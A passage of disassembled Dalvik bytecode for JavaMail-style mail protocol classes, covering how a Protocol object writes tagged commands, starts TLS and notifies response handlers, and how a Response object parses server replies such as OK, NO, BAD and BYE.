0000000E invoke-direct Vector-><init>()V, v0
00000014 iput-object v0, p0, Protocol->handlers:Vector
:18
00000018 iget-object v0, p0, Protocol->handlers:Vector
0000001C invoke-virtual Vector->addElement(Object)V, v0, p1
:22
00000022 monitor-exit p0
00000024 return-void
:26
00000026 move-exception v0
00000028 monitor-exit p0
0000002A throw v0
.catchall {:2 .. :22} :26
.end method
.method public declared-synchronized command(String, Argument)[Response
.registers 9
00000000 const/4 v2, 0x1
00000002 monitor-enter p0
:4
00000004 new-instance v4, Vector
00000008 invoke-direct Vector-><init>()V, v4
:E
0000000E const/4 v1, 0x0
00000010 const/4 v0, 0x0
:12
00000012 invoke-virtual Protocol->writeCommand(String, Argument)String, p0, p1, p2
:18
00000018 move-result-object v0
:1A
0000001A if-eqz v1, :68
:1E
0000001E invoke-virtual Vector->size()I, v4
00000024 move-result v0
00000026 new-array v0, v0, [Response
0000002A invoke-virtual Vector->copyInto([Object)V, v4, v0
00000030 invoke-static System->currentTimeMillis()J
00000036 move-result-wide v1
00000038 iput-wide v1, p0, Protocol->timestamp:J
:3C
0000003C monitor-exit p0
0000003E return-object v0
:40
00000040 move-exception v1
:42
00000042 invoke-virtual LiteralException->getResponse()Response, v1
00000048 move-result-object v1
0000004A invoke-virtual Vector->addElement(Object)V, v4, v1
00000050 move v1, v2
00000052 goto :1A
:54
00000054 move-exception v1
00000056 invoke-static Response->byeResponse(Exception)Response, v1
0000005C move-result-object v1
0000005E invoke-virtual Vector->addElement(Object)V, v4, v1
:64
00000064 move v1, v2
00000066 goto :1A
:68
00000068 invoke-virtual Protocol->readResponse()Response, p0
:6E
0000006E move-result-object v3
:70
00000070 invoke-virtual Vector->addElement(Object)V, v4, v3
00000076 invoke-virtual Response->isBYE()Z, v3
0000007C move-result v5
0000007E if-eqz v5, :84
:82
00000082 move v1, v2
:84
00000084 invoke-virtual Response->isTagged()Z, v3
0000008A move-result v5
0000008C if-eqz v5, :1A
:90
00000090 invoke-virtual Response->getTag()String, v3
00000096 move-result-object v3
00000098 invoke-virtual String->equals(Object)Z, v3, v0
0000009E move-result v3
000000A0 if-eqz v3, :1A
:A4
000000A4 move v1, v2
000000A6 goto :1A
:A8
000000A8 move-exception v3
000000AA invoke-static Response->byeResponse(Exception)Response, v3
:B0
000000B0 move-result-object v3
000000B2 goto :70
:B4
000000B4 move-exception v3
000000B6 goto :1A
:B8
000000B8 move-exception v0
000000BA monitor-exit p0
000000BC throw v0
.catchall {:4 .. :E} :B8
.catch LiteralException {:12 .. :18} :40
.catch Exception {:12 .. :18} :54
.catchall {:12 .. :18} :B8
.catchall {:1E .. :3C} :B8
.catchall {:42 .. :64} :B8
.catch IOException {:68 .. :6E} :A8
.catch ProtocolException {:68 .. :6E} :B4
.catchall {:68 .. :6E} :B8
.catchall {:70 .. :B0} :B8
.end method
.method protected declared-synchronized disconnect()V
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Protocol->socket:Socket
:6
00000006 if-eqz v0, :1A
:A
0000000A iget-object v0, p0, Protocol->socket:Socket
0000000E invoke-virtual Socket->close()V, v0
:14
00000014 const/4 v0, 0x0
:16
00000016 iput-object v0, p0, Protocol->socket:Socket
:1A
0000001A monitor-exit p0
0000001C return-void
:1E
0000001E move-exception v0
00000020 monitor-exit p0
00000022 throw v0
:24
00000024 move-exception v0
00000026 goto :14
.catchall {:2 .. :6} :1E
.catch IOException {:A .. :14} :24
.catchall {:A .. :14} :1E
.catchall {:16 .. :1A} :1E
.end method
.method protected finalize()V
.registers 1
00000000 invoke-super Object->finalize()V, p0
00000006 invoke-virtual Protocol->disconnect()V, p0
0000000C return-void
.end method
.method protected getInputStream()ResponseInputStream
.registers 2
00000000 iget-object v0, p0, Protocol->input:ResponseInputStream
00000004 return-object v0
.end method
.method protected getOutputStream()OutputStream
.registers 2
00000000 iget-object v0, p0, Protocol->output:DataOutputStream
00000004 return-object v0
.end method
.method protected getResponseBuffer()ByteArray
.registers 2
00000000 const/4 v0, 0x0
00000002 return-object v0
.end method
.method public getTimestamp()J
.registers 3
00000000 iget-wide v0, p0, Protocol->timestamp:J
00000004 return-wide v0
.end method
.method public handleResult(Response)V
.registers 3
00000000 invoke-virtual Response->isOK()Z, p1
00000006 move-result v0
00000008 if-eqz v0, :E
:C
0000000C return-void
:E
0000000E invoke-virtual Response->isNO()Z, p1
00000014 move-result v0
00000016 if-eqz v0, :26
:1A
0000001A new-instance v0, CommandFailedException
0000001E invoke-direct CommandFailedException-><init>(Response)V, v0, p1
00000024 throw v0
:26
00000026 invoke-virtual Response->isBAD()Z, p1
0000002C move-result v0
0000002E if-eqz v0, :3E
:32
00000032 new-instance v0, BadCommandException
00000036 invoke-direct BadCommandException-><init>(Response)V, v0, p1
0000003C throw v0
:3E
0000003E invoke-virtual Response->isBYE()Z, p1
00000044 move-result v0
00000046 if-eqz v0, :C
:4A
0000004A invoke-virtual Protocol->disconnect()V, p0
00000050 new-instance v0, ConnectionException
00000054 invoke-direct ConnectionException-><init>(Protocol, Response)V, v0, p0, p1
0000005A throw v0
.end method
.method public notifyResponseHandlers([Response)V
.registers 9
00000000 const/4 v2, 0x0
00000002 iget-object v0, p0, Protocol->handlers:Vector
00000006 if-nez v0, :C
:A
0000000A return-void
:C
0000000C move v1, v2
:E
0000000E array-length v0, p1
00000010 if-ge v1, v0, :A
:14
00000014 aget-object v4, p1, v1
00000018 if-nez v4, :24
:1C
0000001C add-int/lit8 v0, v1, 0x1
00000020 move v1, v0
00000022 goto :E
:24
00000024 iget-object v0, p0, Protocol->handlers:Vector
00000028 invoke-virtual Vector->size()I, v0
0000002E move-result v5
00000030 if-eqz v5, :A
:34
00000034 new-array v6, v5, [Object
00000038 iget-object v0, p0, Protocol->handlers:Vector
0000003C invoke-virtual Vector->copyInto([Object)V, v0, v6
00000042 move v3, v2
:44
00000044 if-ge v3, v5, :1C
:48
00000048 aget-object v0, v6, v3
0000004C check-cast v0, ResponseHandler
00000050 invoke-interface ResponseHandler->handleResponse(Response)V, v0, v4
00000056 add-int/lit8 v0, v3, 0x1
0000005A move v3, v0
0000005C goto :44
.end method
.method protected processGreeting(Response)V
.registers 3
00000000 invoke-virtual Response->isBYE()Z, p1
00000006 move-result v0
00000008 if-eqz v0, :18
:C
0000000C new-instance v0, ConnectionException
00000010 invoke-direct ConnectionException-><init>(Protocol, Response)V, v0, p0, p1
00000016 throw v0
:18
00000018 return-void
.end method
.method public readResponse()Response
.registers 2
00000000 new-instance v0, Response
00000004 invoke-direct Response-><init>(Protocol)V, v0, p0
0000000A return-object v0
.end method
.method public declared-synchronized removeResponseHandler(ResponseHandler)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Protocol->handlers:Vector
00000006 if-eqz v0, :14
:A
0000000A iget-object v0, p0, Protocol->handlers:Vector
0000000E invoke-virtual Vector->removeElement(Object)Z, v0, p1
:14
00000014 monitor-exit p0
00000016 return-void
:18
00000018 move-exception v0
0000001A monitor-exit p0
0000001C throw v0
.catchall {:2 .. :14} :18
.end method
.method public simpleCommand(String, Argument)V
.registers 5
00000000 invoke-virtual Protocol->command(String, Argument)[Response, p0, p1, p2
00000006 move-result-object v0
00000008 invoke-virtual Protocol->notifyResponseHandlers([Response)V, p0, v0
0000000E array-length v1, v0
00000010 add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
00000014 aget-object v0, v0, v1
00000018 invoke-virtual Protocol->handleResult(Response)V, p0, v0
0000001E return-void
.end method
.method public declared-synchronized startTLS(String)V
.registers 5
00000000 monitor-enter p0
00000002 const/4 v0, 0x0
:4
00000004 invoke-virtual Protocol->simpleCommand(String, Argument)V, p0, p1, v0
0000000A iget-object v0, p0, Protocol->socket:Socket
0000000E iget-object v1, p0, Protocol->props:Properties
00000012 iget-object v2, p0, Protocol->prefix:String
00000016 invoke-static SocketFetcher->startTLS(Socket, Properties, String)Socket, v0, v1, v2
0000001C move-result-object v0
0000001E iput-object v0, p0, Protocol->socket:Socket
00000022 iget-object v0, p0, Protocol->out:PrintStream
00000026 invoke-direct Protocol->initStreams(PrintStream)V, p0, v0
:2C
0000002C monitor-exit p0
0000002E return-void
:30
00000030 move-exception v0
00000032 monitor-exit p0
00000034 throw v0
.catchall {:4 .. :2C} :30
.end method
.method protected declared-synchronized supportsNonSyncLiterals()Z
.registers 2
00000000 monitor-enter p0
00000002 const/4 v0, 0x0
00000004 monitor-exit p0
00000006 return v0
.end method
.method public writeCommand(String, Argument)String
.registers 7
00000000 new-instance v0, StringBuilder
00000004 const-string v1, "A"
00000008 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000000E iget v1, p0, Protocol->tagCounter:I
00000012 add-int/lit8 v2, v1, 0x1
00000016 iput v2, p0, Protocol->tagCounter:I
0000001A const/16 v2, 0xA
0000001E invoke-static Integer->toString(I, I)String, v1, v2
00000024 move-result-object v1
00000026 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000002C move-result-object v0
0000002E invoke-virtual StringBuilder->toString()String, v0
00000034 move-result-object v0
00000036 iget-object v1, p0, Protocol->output:DataOutputStream
0000003A new-instance v2, StringBuilder
0000003E invoke-static String->valueOf(Object)String, v0
00000044 move-result-object v3
00000046 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000004C const-string v3, " "
00000050 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000056 move-result-object v2
00000058 invoke-virtual StringBuilder->append(String)StringBuilder, v2, p1
0000005E move-result-object v2
00000060 invoke-virtual StringBuilder->toString()String, v2
00000066 move-result-object v2
00000068 invoke-virtual DataOutputStream->writeBytes(String)V, v1, v2
0000006E if-eqz p2, :86
:72
00000072 iget-object v1, p0, Protocol->output:DataOutputStream
00000076 const/16 v2, 0x20
0000007A invoke-virtual DataOutputStream->write(I)V, v1, v2
00000080 invoke-virtual Argument->write(Protocol)V, p2, p0
:86
00000086 iget-object v1, p0, Protocol->output:DataOutputStream
0000008A sget-object v2, Protocol->CRLF:[B
0000008E invoke-virtual DataOutputStream->write([B)V, v1, v2
00000094 iget-object v1, p0, Protocol->output:DataOutputStream
00000098 invoke-virtual DataOutputStream->flush()V, v1
0000009E return-object v0
.end method
#--------------------------------------------------------------------------------
.class public Response
.super Object
.source ""
.field public static final BAD:I = 0xC
.field public static final BYE:I = 0x10
.field public static final CONTINUATION:I = 0x1
.field public static final NO:I = 0x8
.field public static final OK:I = 0x4
.field public static final SYNTHETIC:I = 0x20
.field public static final TAGGED:I = 0x2
.field public static final TAG_MASK:I = 0x3
.field public static final TYPE_MASK:I = 0x1C
.field public static final UNTAGGED:I = 0x3
.field private static final increment:I = 0x64
.field protected buffer:[B
.field protected index:I
.field protected pindex:I
.field protected size:I
.field protected tag:String
.field protected type:I
.method public constructor <init>(Protocol)V
.registers 4
00000000 const/4 v1, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v1, p0, Response->buffer:[B
0000000C const/4 v0, 0x0
0000000E iput v0, p0, Response->type:I
00000012 iput-object v1, p0, Response->tag:String
00000016 invoke-virtual Protocol->getResponseBuffer()ByteArray, p1
0000001C move-result-object v0
0000001E invoke-virtual Protocol->getInputStream()ResponseInputStream, p1
00000024 move-result-object v1
00000026 invoke-virtual ResponseInputStream->readResponse(ByteArray)ByteArray, v1, v0
0000002C move-result-object v0
0000002E invoke-virtual ByteArray->getBytes()[B, v0
00000034 move-result-object v1
00000036 iput-object v1, p0, Response->buffer:[B
0000003A invoke-virtual ByteArray->getCount()I, v0
00000040 move-result v0
00000042 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFE
00000046 iput v0, p0, Response->size:I
0000004A invoke-direct Response->parse()V, p0
00000050 return-void
.end method
.method public constructor <init>(Response)V
.registers 4
00000000 const/4 v1, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v1, p0, Response->buffer:[B
0000000C const/4 v0, 0x0
0000000E iput v0, p0, Response->type:I
00000012 iput-object v1, p0, Response->tag:String
00000016 iget v0, p1, Response->index:I
0000001A iput v0, p0, Response->index:I
0000001E iget v0, p1, Response->size:I
00000022 iput v0, p0, Response->size:I
00000026 iget-object v0, p1, Response->buffer:[B
0000002A iput-object v0, p0, Response->buffer:[B
0000002E iget v0, p1, Response->type:I
00000032 iput v0, p0, Response->type:I
00000036 iget-object v0, p1, Response->tag:String
0000003A iput-object v0, p0, Response->tag:String
0000003E return-void
.end method
.method public constructor <init>(String)V
.registers 4
00000000 const/4 v1, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v1, p0, Response->buffer:[B
0000000C const/4 v0, 0x0
0000000E iput v0, p0, Response->type:I
00000012 iput-object v1, p0, Response->tag:String
00000016 invoke-static ASCIIUtility->getBytes(String)[B, p1
0000001C move-result-object v0
0000001E iput-object v0, p0, Response->buffer:[B
00000022 iget-object v0, p0, Response->buffer:[B
00000026 array-length v0, v0
00000028 iput v0, p0, Response->size:I
0000002C invoke-direct Response->parse()V, p0
00000032 return-void
.end method
.method public static byeResponse(Exception)Response
.registers 4
00000000 const/16 v2, 0x20
00000004 new-instance v0, StringBuilder
00000008 const-string v1, "* BYE JavaMail Exception: "
0000000C invoke-direct StringBuilder-><init>(String)V, v0, v1
00000012 invoke-virtual Exception->toString()String, p0
00000018 move-result-object v1
0000001A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000020 move-result-object v0
00000022 invoke-virtual StringBuilder->toString()String, v0
00000028 move-result-object v0
0000002A const/16 v1, 0xD
0000002E invoke-virtual String->replace(C, C)String, v0, v1, v2
00000034 move-result-object v0
00000036 const/16 v1, 0xA
0000003A invoke-virtual String->replace(C, C)String, v0, v1, v2
00000040 move-result-object v0
00000042 new-instance v1, Response
00000046 invoke-direct Response-><init>(String)V, v1, v0
0000004C iget v0, v1, Response->type:I
00000050 or-int/lit8 v0, v0, 0x20
00000054 iput v0, v1, Response->type:I
00000058 return-object v1
.end method
.method private parse()V
.registers 4
00000000 const/4 v0, 0x0
00000002 iput v0, p0, Response->index:I
00000006 iget-object v0, p0, Response->buffer:[B
0000000A iget v1, p0, Response->index:I
0000000E aget-byte v0, v0, v1
00000012 const/16 v1, 0x2B
00000016 if-ne v0, v1, :34
:1A
0000001A iget v0, p0, Response->type:I
0000001E or-int/lit8 v0, v0, 0x1
00000022 iput v0, p0, Response->type:I
00000026 iget v0, p0, Response->index:I
0000002A add-int/lit8 v0, v0, 0x1
0000002E iput v0, p0, Response->index:I
:32
00000032 return-void
:34
00000034 iget-object v0, p0, Response->buffer:[B
00000038 iget v1, p0, Response->index:I
0000003C aget-byte v0, v0, v1
00000040 const/16 v1, 0x2A
00000044 if-ne v0, v1, :9A
:48
00000048 iget v0, p0, Response->type:I
0000004C or-int/lit8 v0, v0, 0x3
00000050 iput v0, p0, Response->type:I
00000054 iget v0, p0, Response->index:I
00000058 add-int/lit8 v0, v0, 0x1
0000005C iput v0, p0, Response->index:I
:60
00000060 iget v1, p0, Response->index:I
00000064 invoke-virtual Response->readAtom()String, p0
0000006A move-result-object v0
0000006C if-nez v0, :74
:70
00000070 const-string v0, ""
:74
00000074 const-string v2, "OK"
00000078 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v2
0000007E move-result v2
00000080 if-eqz v2, :B4
:84
00000084 iget v0, p0, Response->type:I
00000088 or-int/lit8 v0, v0, 0x4
0000008C iput v0, p0, Response->type:I
:90
00000090 iget v0, p0, Response->index:I
00000094 iput v0, p0, Response->pindex:I
00000098 goto :32
:9A
0000009A iget v0, p0, Response->type:I
0000009E or-int/lit8 v0, v0, 0x2
000000A2 iput v0, p0, Response->type:I
000000A6 invoke-virtual Response->readAtom()String, p0
000000AC move-result-object v0
000000AE iput-object v0, p0, Response->tag:String
000000B2 goto :60
:B4
000000B4 const-string v2, "NO"
000000B8 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v2
000000BE move-result v2
000000C0 if-eqz v2, :D2
:C4
000000C4 iget v0, p0, Response->type:I
000000C8 or-int/lit8 v0, v0, 0x8
000000CC iput v0, p0, Response->type:I
000000D0 goto :90
:D2
000000D2 const-string v2, "BAD"
000000D6 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v2
000000DC move-result v2
000000DE if-eqz v2, :F0
:E2
000000E2 iget v0, p0, Response->type:I
000000E6 or-int/lit8 v0, v0, 0xC
000000EA iput v0, p0, Response->type:I
000000EE goto :90
:F0
000000F0 const-string v2, "BYE"
000000F4 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v2
000000FA move-result v0
000000FC if-eqz v0, :10E
:100
00000100 iget v0, p0, Response->type:I
00000104 or-int/lit8 v0, v0, 0x10
00000108 iput v0, p0, Response->type:I
0000010C goto :90
:10E
0000010E iput v1, p0, Response->index:I
00000112 goto :90
.end method
.method private parseString(Z, Z)Object
.registers 9
00000000 const/16 v5, 0x22
00000004 const/4 v0, 0x0
00000006 invoke-virtual Response->skipSpaces()V, p0
0000000C iget-object v1, p0, Response->buffer:[B
00000010 iget v2, p0, Response->index:I
00000014 aget-byte v1, v1, v2
00000018 if-ne v1, v5, :B4
:1C
0000001C iget v0, p0, Response->index:I
00000020 add-int/lit8 v0, v0, 0x1
00000024 iput v0, p0, Response->index:I
00000028 iget v2, p0, Response->index:I
0000002C iget v0, p0, Response->index:I
:30
00000030 iget-object v1, p0, Response->buffer:[B
00000034 iget v3, p0, Response->index:I
00000038 aget-byte v1, v1, v3
0000003C if-ne v1, v5, :5E
:40
00000040 iget v1, p0, Response->index:I
00000044 add-int/lit8 v1, v1, 0x1
00000048 iput v1, p0, Response->index:I
0000004C if-eqz p2, :A0
:50
00000050 iget-object v1, p0, Response->buffer:[B
00000054 invoke-static ASCIIUtility->toString([B, I, I)String, v1, v2, v0
0000005A move-result-object v0
:5C
0000005C return-object v0
:5E
0000005E const/16 v3, 0x5C
00000062 if-ne v1, v3, :72
:66
00000066 iget v1, p0, Response->index:I
0000006A add-int/lit8 v1, v1, 0x1
0000006E iput v1, p0, Response->index:I
:72
00000072 iget v1, p0, Response->index:I
00000076 if-eq v1, v0, :8E
:7A
0000007A iget-object v1, p0, Response->buffer:[B
0000007E iget-object v3, p0, Response->buffer:[B
00000082 iget v4, p0, Response->index:I
00000086 aget-byte v3, v3, v4
0000008A aput-byte v3, v1, v0
:8E
0000008E add-int/lit8 v0, v0, 0x1
00000092 iget v1, p0, Response->index:I
00000096 add-int/lit8 v1, v1, 0x1
0000009A iput v1, p0, Response->index:I
0000009E goto :30
:A0
000000A0 new-instance v1, ByteArray
000000A4 iget-object v3, p0, Response->buffer:[B
000000A8 sub-int/2addr v0, v2
000000AA invoke-direct ByteArray-><init>([B, I, I)V, v1, v3, v2, v0
000000B0 move-object v0, v1
000000B2 goto :5C
:B4
000000B4 const/16 v2, 0x7B
000000B8 if-ne v1, v2, :12E
:BC
000000BC iget v1, p0, Response->index:I
000000C0 add-int/lit8 v1, v1, 0x1
000000C4 iput v1, p0, Response->index:I
:C8
000000C8 iget-object v2, p0, Response->buffer:[B
000000CC iget v3, p0, Response->index:I
000000D0 aget-byte v2, v2, v3
000000D4 const/16 v3, 0x7D
000000D8 if-ne v2, v3, :110
:DC
000000DC iget-object v2, p0, Response->buffer:[B
000000E0 iget v3, p0, Response->index:I
000000E4 invoke-static ASCIIUtility->parseInt([B, I, I)I, v2, v1, v3
:EA
000000EA move-result v1
000000EC iget v0, p0, Response->index:I
000000F0 add-int/lit8 v2, v0, 0x3
000000F4 add-int v0, v2, v1
000000F8 iput v0, p0, Response->index:I
000000FC if-eqz p2, :11E
:100
00000100 iget-object v0, p0, Response->buffer:[B
00000104 add-int/2addr v1, v2
00000106 invoke-static ASCIIUtility->toString([B, I, I)String, v0, v2, v1
0000010C move-result-object v0
0000010E goto :5C
:110
00000110 iget v2, p0, Response->index:I
00000114 add-int/lit8 v2, v2, 0x1
00000118 iput v2, p0, Response->index:I
0000011C goto :C8
:11E
0000011E new-instance v0, ByteArray
00000122 iget-object v3, p0, Response->buffer:[B
00000126 invoke-direct ByteArray-><init>([B, I, I)V, v0, v3, v2, v1
0000012C goto :5C
:12E
0000012E if-eqz p1, :156
:132
00000132 iget v1, p0, Response->index:I
00000136 invoke-virtual Response->readAtom()String, p0
0000013C move-result-object v0
0000013E if-nez p2, :5C
:142
00000142 new-instance v0, ByteArray
00000146 iget-object v2, p0, Response->buffer:[B
0000014A iget v3, p0, Response->index:I
0000014E invoke-direct ByteArray-><init>([B, I, I)V, v0, v2, v1, v3
00000154 goto :5C
:156
00000156 const/16 v2, 0x4E
0000015A if-eq v1, v2, :166
:15E
0000015E const/16 v2, 0x6E
00000162 if-ne v1, v2, :5C
:166
00000166 iget v1, p0, Response->index:I
0000016A add-int/lit8 v1, v1, 0x3
0000016E iput v1, p0, Response->index:I
00000172 goto/16 :5C
:176
00000176 move-exception v1
00000178 goto/16 :5C
.catch NumberFormatException {:DC .. :EA} :176
.end method
.method public getRest()String
.registers 4
00000000 invoke-virtual Response->skipSpaces()V, p0
00000006 iget-object v0, p0, Response->buffer:[B
0000000A iget v1, p0, Response->index:I
0000000E iget v2, p0, Response->size:I
00000012 invoke-static ASCIIUtility->toString([B, I, I)String, v0, v1, v2
00000018 move-result-object v0
0000001A return-object v0
.end method
.method public getTag()String
.registers 2
00000000 iget-object v0, p0, Response->tag:String
00000004 return-object v0
.end method
.method public getType()I
.registers 2
00000000 iget v0, p0, Response->type:I
00000004 return v0
.end method
.method public isBAD()Z
.registers 3
00000000 iget v0, p0, Response->type:I
00000004 and-int/lit8 v0, v0, 0x1C
00000008 const/16 v1, 0xC
0000000C if-ne v0, v1, :14
:10
00000010 const/4 v0, 0x1
:12
00000012 return v0
:14
00000014 const/4 v0, 0x0
00000016 goto :12
.end method
.method public isBYE()Z
.registers 3
00000000 iget v0, p0, Response->type:I
00000004 and-int/lit8 v0, v0, 0x1C
00000008 const/16 v1, 0x10
0000000C if-ne v0, v1, :14
:10
00000010 const/4 v0, 0x1
:12
00000012 return v0
:14
00000014 const/4 v0, 0x0
00000016 goto :12
.end method
.method public isContinuation()Z
.registers 3
00000000 const/4 v0, 0x1
00000002 iget v1, p0, Response->type:I
00000006 and-int/lit8 v1, v1, 0x3
0000000A if-ne v1, v0, :10
:E
0000000E return v0
:10
00000010 const/4 v0, 0x0
00000012 goto :E
.end method
.method public isNO()Z
.registers 3
00000000 iget v0, p0, Response->type:I
00000004 and-int/lit8 v0, v0, 0x1C
00000008 const/16 v1, 0x8
0000000C if-ne v0, v1, :14
:10
00000010 const/4 v0, 0x1
:12
00000012 return v0
:14
00000014 const/4 v0, 0x0
00000016 goto :12
.end method
.method public isOK()Z
.registers 3
00000000 iget v0, p0, Response->type:I
00000004 and-int/lit8 v0, v0, 0x1C
00000008 const/4 v1, 0x4
0000000A if-ne v0, v1, :12
:E
0000000E const/4 v0, 0x1
:10
00000010 return v0
:12
00000012 const/4 v0, 0x0
00000014 goto :10
.end method
.method public isSynthetic()Z
.registers 3
00000000 iget v0, p0, Response->type:I
00000004 and-int/lit8 v0, v0, 0x20
00000008 const/16 v1, 0x20
0000000C if-ne v0, v1, :14
:10
00000010 const/4 v0, 0x1
:12
00000012 return v0
:14
00000014 const/4 v0, 0x0
00000016 goto :12
.end method
.method public isTagged()Z
.registers 3
00000000 iget v0, p0, Response->type:I
00000004 and-int/lit8 v0, v0, 0x3
00000008 const/4 v1, 0x2
0000000A if-ne v0, v1, :12
:E
0000000E const/4 v0, 0x1
:10
00000010 return v0
:12
00000012 const/4 v0, 0x0
00000014 goto :10
.end method
.method public isUnTagged()Z
.registers 3
00000000 iget v0, p0, Response->type:I
00000004 and-int/lit8 v0, v0, 0x3
00000008 const/4 v1, 0x3
0000000A if-ne v0, v1, :12
:E
0000000E const/4 v0, 0x1
:10
00000010 return v0
:12
00000012 const/4 v0, 0x0
00000014 goto :10
.end method
.method public peekByte()B
.registers 3
00000000 iget v0, p0, Response->index:I
00000004 iget v1, p0, Response->size:I
00000008 if-ge v0, v1, :1A
:C
0000000C iget-object v0, p0, Response->buffer:[B
00000010 iget v1, p0, Response->index:I
00000014 aget-byte v0, v0, v1
:18
00000018 return v0
:1A
0000001A const/4 v0, 0x0
0000001C goto :18
.end method
.method public readAtom()String
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-virtual Response->readAtom(C)String, p0, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public readAtom(C)String
.registers 5
00000000 invoke-virtual Response->skipSpaces()V, p0
00000006 iget v0, p0, Response->index:I
0000000A iget v1, p0, Response->size:I
0000000E if-lt v0, v1, :16
:12
00000012 const/4 v0, 0x0
:14
00000014 return-object v0
:16
00000016 iget v0, p0, Response->index:I
:1A
0000001A iget v1, p0, Response->index:I
0000001E iget v2, p0, Response->size:I
00000022 if-ge v1, v2, :7A
:26
00000026 iget-object v1, p0, Response->buffer:[B
0000002A iget v2, p0, Response->index:I
0000002E aget-byte v1, v1, v2
00000032 const/16 v2, 0x20
00000036 if-le v1, v2, :7A
:3A
0000003A const/16 v2, 0x28
0000003E if-eq v1, v2, :7A
:42
00000042 const/16 v2, 0x29
00000046 if-eq v1, v2, :7A
:4A
0000004A const/16 v2, 0x25
0000004E if-eq v1, v2, :7A
:52
00000052 const/16 v2, 0x2A
00000056 if-eq v1, v2, :7A
:5A
0000005A const/16 v2, 0x22
0000005E if-eq v1, v2, :7A
:62
00000062 const/16 v2, 0x5C
00000066 if-eq v1, v2, :7A
:6A
0000006A const/16 v2, 0x7F
0000006E if-eq v1, v2, :7A
:72
00000072 if-eqz p1, :8C
:76
00000076 if-ne v1, p1, :8C
:7A
0000007A iget-object v1, p0, Response->buffer:[B
0000007E iget v2, p0, Response->index:I
00000082 invoke-static ASCIIUtility->toString([B, I, I)String, v1, v0, v2
00000088 move-result-object v0
0000008A goto :14
:8C
0000008C iget v1, p0, Response->index:I
00000090 add-int/lit8 v1, v1, 0x1
00000094 iput v1, p0, Response->index:I
00000098 goto :1A
.end method
.method public readAtomString()String
.registers 2
00000000 const/4 v0, 0x1
00000002 invoke-direct Response->parseString(Z, Z)Object, p0, v0, v0
00000008 move-result-object v0
0000000A check-cast v0, String
0000000E return-object v0
.end method
.method public readByte()B
.registers 4
00000000 iget v0, p0, Response->index:I
00000004 iget v1, p0, Response->size:I
00000008 if-ge v0, v1, :22
:C
0000000C iget-object v0, p0, Response->buffer:[B
00000010 iget v1, p0, Response->index:I
00000014 add-int/lit8 v2, v1, 0x1
00000018 iput v2, p0, Response->index:I
0000001C aget-byte v0, v0, v1
:20
00000020 return v0
:22
00000022 const/4 v0, 0x0
00000024 goto :20
.end method
.method public readByteArray()ByteArray
.registers 6
00000000 const/4 v1, 0x0
00000002 invoke-virtual Response->isContinuation()Z, p0
00000008 move-result v0
0000000A if-eqz v0, :32
:E
0000000E invoke-virtual Response->skipSpaces()V, p0
00000014 new-instance v0, ByteArray
00000018 iget-object v1, p0, Response->buffer:[B
0000001C iget v2, p0, Response->index:I
00000020 iget v3, p0, Response->size:I
00000024 iget v4, p0, Response->index:I
00000028 sub-int/2addr v3, v4
0000002A invoke-direct ByteArray-><init>([B, I, I)V, v0, v1, v2, v3
:30
00000030 return-object v0
:32
00000032 invoke-direct Response->parseString(Z, Z)Object, p0, v1, v1
00000038 move-result-object v0
0000003A check-cast v0, ByteArray
0000003E goto :30
.end method
.method public readBytes()ByteArrayInputStream
.registers 2
00000000 invoke-virtual Response->readByteArray()ByteArray, p0
00000006 move-result-object v0
00000008 if-eqz v0, :16
:C
0000000C invoke-virtual ByteArray->toByteArrayInputStream()ByteArrayInputStream, v0
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 const/4 v0, 0x0
00000018 goto :14
.end method
.method public readLong()J
.registers 4
00000000 invoke-virtual Response->skipSpaces()V, p0
00000006 iget v0, p0, Response->index:I
:A
0000000A iget v1, p0, Response->index:I
0000000E iget v2, p0, Response->size:I
00000012 if-ge v1, v2, :30
:16
00000016 iget-object v1, p0, Response->buffer:[B
0000001A iget v2, p0, Response->index:I
0000001E aget-byte v1, v1, v2
00000022 int-to-char v1, v1
00000024 invoke-static Character->isDigit(C)Z, v1
0000002A move-result v1
0000002C if-nez v1, :4A
:30
00000030 iget v1, p0, Response->index:I
00000034 if-le v1, v0, :5A
:38
00000038 iget-object v1, p0, Response->buffer:[B
0000003C iget v2, p0, Response->index:I
00000040 invoke-static ASCIIUtility->parseLong([B, I, I)J, v1, v0, v2
:46
00000046 move-result-wide v0
:48
00000048 return-wide v0
:4A
0000004A iget v1, p0, Response->index:I
0000004E add-int/lit8 v1, v1, 0x1
00000052 iput v1, p0, Response->index:I
00000056 goto :A
:58
00000058 move-exception v0
:5A
0000005A const-wide/16 v0, 0xFFFFFFFFFFFFFFFF
0000005E goto :48
.catch NumberFormatException {:38 .. :46} :58
.end method
.method public readNumber()I
.registers 4
00000000 invoke-virtual Response->skipSpaces()V, p0
00000006 iget v0, p0, Response->index:I
:A
0000000A iget v1, p0, Response->index:I
0000000E iget v2, p0, Response->size:I
00000012 if-ge v1, v2, :30
:16
00000016 iget-object v1, p0, Response->buffer:[B
0000001A iget v2, p0, Response->index:I
0000001E aget-byte v1, v1, v2
00000022 int-to-char v1, v1
00000024 invoke-static Character->isDigit(C)Z, v1
0000002A move-result v1
0000002C if-nez v1, :4A
:30
00000030 iget v1, p0, Response->index:I
00000034 if-le v1, v0, :5A
:38
00000038 iget-object v1, p0, Response->buffer:[B
0000003C iget v2, p0, Response->index:I
00000040 invoke-static ASCIIUtility->parseInt([B, I, I)I, v1, v0, v2
:46
00000046 move-result v0
:48
00000048 return v0
:4A
0000004A iget v1, p0, Response->index:I
0000004E add-int/lit8 v1, v1, 0x1
00000052 iput v1, p0, Response->index:I
